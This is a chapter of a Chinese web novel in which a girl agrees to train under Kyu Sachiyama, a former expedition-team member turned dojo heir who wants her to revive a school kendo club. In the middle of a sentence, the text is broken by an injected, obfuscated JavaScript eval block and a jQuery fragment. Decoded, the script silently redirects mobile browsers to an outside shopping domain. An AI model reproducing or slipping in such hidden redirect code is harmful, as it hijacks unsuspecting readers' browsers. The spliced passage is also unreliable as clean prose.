修建在山顶左侧平地上的道场,并不如石牌和山路给人的初印象是破旧萧瑟。
反而很非常气派,能看得出投入了不少资金用于维护。山顶也要热闹许多,场馆里不时传出剑与剑的碰撞声和学员的呐喊声。
冬川奏对这种声音还算熟悉,因为她确实有练过剑道。但是对比目前的剑道运动,她对居合道又更感兴趣。
居合道的拔刀、斩击、残心、纳刀都帅得人头皮发麻。
快、准、狠,于静中一瞬取胜。
为了达到这种境界,冬川奏也曾潜心练习过居合斩,具体表现在长时间晨起练剑,以及没课的时候去剑道场接受指导。
即使是现在,也是冬川奏坚持许久的一项爱好。
居合道跟蝶泳一样,因为姿势帅气优雅,爆发力强,而被冬川奏长久青睐过。
冬川奏又不禁想,要得到幸山玖的认可,难道是要跟她用剑术比一场吗?
“当然不是!我为什么要欺负一个小孩啊?”女人声音响亮地快速否认了。
她扎着高马尾,穿着藏蓝色稽古着和袴,身量很高,坐姿豪放。
幸山玖表现出来的样子就如同她那头红发,像火一样热烈,永远保持着燃烧。
不知道是不是冬川奏的错觉,总感觉幸山玖有一种蔫坏的气质。
“听说你剑道练得不错?”幸山玖问。
冬川奏以为她是从父亲那得到了被美化过的答案,于是十分诚实地回答:“一般,不如居合道。”
虽然以前学习剑道的时候也有被夸过,但她真心认为自己的剑道练的没有居合好。
在剑道场是两种一起修行,但她私下格外偏爱居合,花的时间也更长。
幸山玖眯了眯眼:“你的老师是真田前辈吧?”
“您认识真田教练?他确实是我的剑道老师。”冬川奏颔首。
也许这些比较有名的剑道场之间也会有联系吧。
“他可是在我爸那夸了你好几次呢,说你有天赋又努力,就是太喜欢居合,剑道上不够用功。”
话音一转,她图穷匕见,“我的要求呢,很简单,你拜我为老师,学习我的剑道。”
“你的老师我,目前在音驹剑道部当教练,因为刚刚上任没什么成绩,所以我需要一个活字招牌。而你,就是我选中的招牌。”
冬川奏彻底搞懂了,打一场得到认可什么的已经是小孩子才会想的中二热血漫了。
这女人是想买断她的三年啊。
或许不止,她想要的还是“冬川奏的老师”这一名号。
但是她想学的可不是什么剑道,从她知道幸山玖就是Saorsa的一员时,她想得到的就不只是区区条件上的认可了。
想要成为探险家,她需要有足以匹配的体能、野外生存技巧、大量的知识储备。
装备到是不用太担心,冬川家可没打算就这样白白放唯一的继承人去送死。
过去为母亲提供专业装备和提供辅助后勤的产业链已经被父亲重启了,所以他在家待了没几天又忙碌了起来。
虽然父亲直呼:“我不是为了你。我希望你根本通不过考验。”
“而且现在从事探险的人越来越多了,我的投资是不会亏本的。”
冬川奏:中年男人请不要学傲娇系!
而其他的,为了不走弯路,有一位探险家当前辈,显然是最好的选择。
这恐怕也是父亲想的吧。
成为第三个条件是真,希望她能从幸山玖身上学到真东西也是真。
毕竟Saorsa探险队在过去确实非常有名。
可喜可贺,被父亲单方面屏蔽又解除限制的冬川奏,终于检索到了Saorsa的相关资料。
这次她点开了那张被她忽略过去的新闻截图,仔细观察和对比细节之后,她终于确认,上面的新闻说的正是Saorsa。
用着极尽讽刺的词句批判着不怕死的一群年轻人,声称她们落得这幅田地完全是活该。
这个报社显然不清楚什么人该惹,什么人不该惹。
这则社会新闻报道刚出的时候,热度极高,也让报社风光过一阵子。
但很快,就被腾出手来的冬川家整治,没几天就宣告了破产。
看得冬川奏是解气无比。
其实以冬川家的财力,聘请一位还是多位专业探险家来对冬川奏进行指导,都非常容易。
但是她们父女两个都是情怀派,一个过去就支持Saorsa,一直是Saorsa的最大投资方。一个只凭几本摄影集就恋上Saorsa。
所以两人的选择毋庸置疑都指向了幸山玖。
但是被选择的幸山玖却没有那么乐观,她退出探险圈子多年,要重拾人脉和能力也是一件不易的事。
但看着女孩对Saorsa的推崇,对她本人的期待和向往,幸山玖头脑一热就夸下海口了。
“简单啊,你认真训练,给我捧个奖回来,我包你成为当代最强探险家!”
冬川奏的热切瞬间退散,她古怪地看着幸山玖,“老师,你每天的睡前读物是不是周刊少年Jump。”
她闻到了熟悉的中二气息。
“欸!!你怎么知道的。”幸山玖挠着头一副怎么被看穿了的样子。
“太中二了。”
幸山玖握拳,“这是热血!”
“中二。”
“热血!”
......
“好了,停!”冬川奏抬手制止,这个老师也太幼稚了!
冬川奏想到刚刚在山腰处经历的事,想了想还是要跟幸山玖提一嘴。
如果是常年有着前辈勒索后辈的社团潜规则,那这个社团多半已经腐烂透顶了。
“您的这个音驹剑道部,我刚刚上山的时候遇见了,感觉不太行啊。”
幸山玖却没有意外,她看着冬川奏笑得不怀好意:“所以,常年稳坐部长之位的冬川奏选手,老师需要你。”
“而且我能当上剑道部教练也不是偶然。”
冬川奏露出愿闻其详的表情,她猜测这个社团原本的教练也不是什么好人。
“我前段时间下山去城里采购,没想到遇见了个不要脸的想猥亵女学生的油腻大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821328|211143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叔,我飞去一脚就将他踹倒在地,然后送他去了警察署。”
“这个大叔,就是音驹剑道部原来的教练。”冬川奏补充道。
“没错!这件事后来被爆到学校高层,他就直接被辞退了,哈哈哈哈大快人心!”
“我以前也是音驹的学生,那会的剑道部教练还是我爸呢,氛围好成绩也漂亮......别看我,我当时可没有加入剑道部。”
幸山玖摸了摸手中的茶杯,“虽然偶尔会被我爸拉去陪练,但我其实是摄影部的。以前也没想过继承什么剑道场啊,总感觉很无聊。”
过去被寄予厚望的道场继承人幸山玖,梦想是拍摄出世界上所有神奇的一切。
但是老爸武力值爆棚,幸山玖在大学毕业前都被无情镇压着。
直到遇到了一个人,那是她的伯乐,也是Saorsa的发起者。
这个人欣赏她的摄影技术,认可她的冒险之心,并邀请她加入Saorsa。
志同道合的她们一起并肩作战了快十年。
而Saorsa的最后一役,她非常期待,她没想过要止步,离开了Saorsa她也依旧可以继续探险事业。
这可能就是Saorsa的最后一次全员到齐的探险了,因为大家都有了不同的目标,将要分开。
她想,这确实是最后一次。
只剩她一个人的Saorsa,又怎么能被称作Saorsa。
她只是个逃兵而已。
过去满腹勇气与激情的幸山玖,在看到新闻之后,竟然产生了恐惧。对死亡的畏惧,对探险的畏惧。
最后,她没有继续探险事业,而是回家继承了老爸的剑道馆。
也许这样的生活,才适合她。
“那你怎么想到要去剑道部当教练了呢?”不知道幸山玖一时间想了许多的冬川奏问。
幸山玖喝下一口茶,“也许是因为这个剑道部对我来说也有一些难以忽视的重要意义吧。”
“毕竟不能看着我爸的心血全被糟蹋完啊。”
冬川奏不置可否,现在的音驹剑道部,就像是内里被白蚁啃食殆尽的空心木梁。
除了换一根新的,没有任何其他办法。
“这个社团里,还是有几个很努力的小姑娘的。”幸山玖说,“还没有完全废掉,等你来了,就是我们剑道部真正崛起的时候了!”
“你怎么这么信任我,我可不想管那些人渣前辈。”冬川奏觉得这个差事很是无聊。
“你看着就很值得信赖啊,我的意思是,你看起来就是一副能把她们治的死死的样子。”
......
最后,冬川奏收到一张清单。
上半部分是她的训练清单,以及每周来幸山剑道馆的时间。
下半部分是一些推荐书籍,看名字应该是跟探险有关的基础知识。
“拜拜!对了记得帮老师买周刊少年Jump啊奏酱~”
幸山玖站在道场门口大力招手。
清单瞬间被冬川奏揉皱,这个老师绝对不对劲吧!
她头也不回,走得飞快。